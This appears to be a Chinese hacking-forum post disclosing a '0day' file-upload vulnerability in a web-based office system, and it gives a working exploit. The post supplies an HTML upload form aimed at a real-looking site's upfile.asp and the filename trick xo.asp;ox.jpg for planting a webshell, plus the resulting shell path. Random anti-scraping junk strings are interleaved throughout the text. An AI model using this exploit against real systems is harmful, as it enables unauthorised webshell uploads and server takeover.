全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
3 X2 h" r" b+ u& _​
系统介绍：

9 d: C) }- j1 n全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

: X; R0 _/ f0 x! S) q! h9 `) Y* v主要功能：
公司通告
$ O' R3 e8 ?# }, U: U9 l工作计划
通讯助理
: \7 l, e0 f; i: x- a( B客户资源
我的公文
公文传阅
公共资源
资源预约
今日考勤
) f$ r+ P+ e; W; \1 I0 B' u个人计划
: ]" E, C! T! {个人通讯录
个人基本档案
未读邮件
发邮件
收件夹
2 C. f! K: F. G8 w6 X& \2 d' f寄件夹
网络硬盘
网络会议
网络调查
6 _; _8 E, r2 G; z; Z* z& {交流论坛
) l& f4 T, U6 ?* j  h% I4 z
有兴趣测试的朋友可以下源码看看
, O: E0 j/ _+ A" r! a2 W
源码下载：
6 O9 [* j: t7 g) U7 l1 J( i7 {9 h. Z
http://www.mycodes.net/30/4750.htm

漏洞介绍：
" F% g: K# o1 s5 f$ I0 E
' C% S# E! c1 f- Z由upfile.asp上传文件漏洞引起
& M2 V2 D# v" M+ R- K
测试方法：
) @& R; _% S3 [$ V+ r
9 e$ Z! r) e% t/ ?# f- P4 d; O使用名小子上传http://www.itlynn.com/upfile.asp即可
8 n2 R! C# G, }+ p3 p$ E
- Q- I1 k8 L# D4 m% ~4 R  ]/ }如果upfile.asp文件被删除不存在。
) i- l, q, e- a' e% U
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
$ N$ S* B! g5 B% K+ H9 u
! @: x- U8 Z; V& P7 @如果存在那么将如下代码保存为upfile.html。

3 ]" k' W8 ~/ G" Y( M然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
& |) @/ |5 U+ y9 F0 k/ L) {7 z
9 d/ h* ]$ C2 a* Z' K9 A+ ?$ e9 [
# U1 g, m( [- P. x8 X2 F3 l; n& p
01 <table border='0' align="center" cellpadding="5">

4 w5 A" ?$ `7 z, J- q1 I6 t" u02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

04             <td>报错：</td>

4 \5 k& _0 \, F9 o" W; j4 C1 @05             <td><input type='radio' name='errnumber' value='0'>

; M: ~0 n, R1 o0 z" h; u06               自动更名
) k# ]& n  [/ k3 [  H( G6 x7 [
07               <input type='radio' name='errnumber' value='1' checked>
, N& s* z% i/ f
08               报错方式

8 z/ u8 h4 ]1 t: H3 E# O9 `" X% y09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

11           </tr>

5 O8 _- W- J$ x# @- i12           <tr>

13             <td>主题：</td>
  G5 v5 E% I7 l8 N2 O5 c* H
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>
3 U1 y6 j& g) _/ ^
1 s; b6 O' n7 Z17             <td>文件：</td>
2 @1 H: k7 {' d4 j
18             <td><input type="file"name="fruit"size="30"></td>

- D& q8 J. N" r9 ?2 c19           </tr>

20           <tr>
+ v1 L/ y. X- u6 c
  Q6 e5 c  K" j6 ?2 F% ~' D% P21             <td valign='top'>简介：</td>
1 T, v7 w; t5 N
( @+ p# W/ N8 U, w22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
) o6 [& O) e, X! X
( ?7 F+ o! W  f1 x/ [* a23           </tr>
2 ?+ e/ J9 l! ~1 K6 [1 W
' |9 R, G: O6 Y1 t+ ^24   
! u0 {: V4 e8 [7 r8 l- U/ g: n
6 g6 S0 f! o# G2 }4 Y6 [3 Y1 P6 M25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

# Y1 q2 k& P3 _) ?8 b3 Y& s27         </form>
9 j& t( H/ V+ N0 c" e1 o4 ?
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
; |. @  ]% \3 v
+ O" [; T/ ^1 P* A# N0 ~

/ n7 Y1 G, {. a) Q" i. c- U上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。

! }2 {% x4 B2 W9 j0 k5 B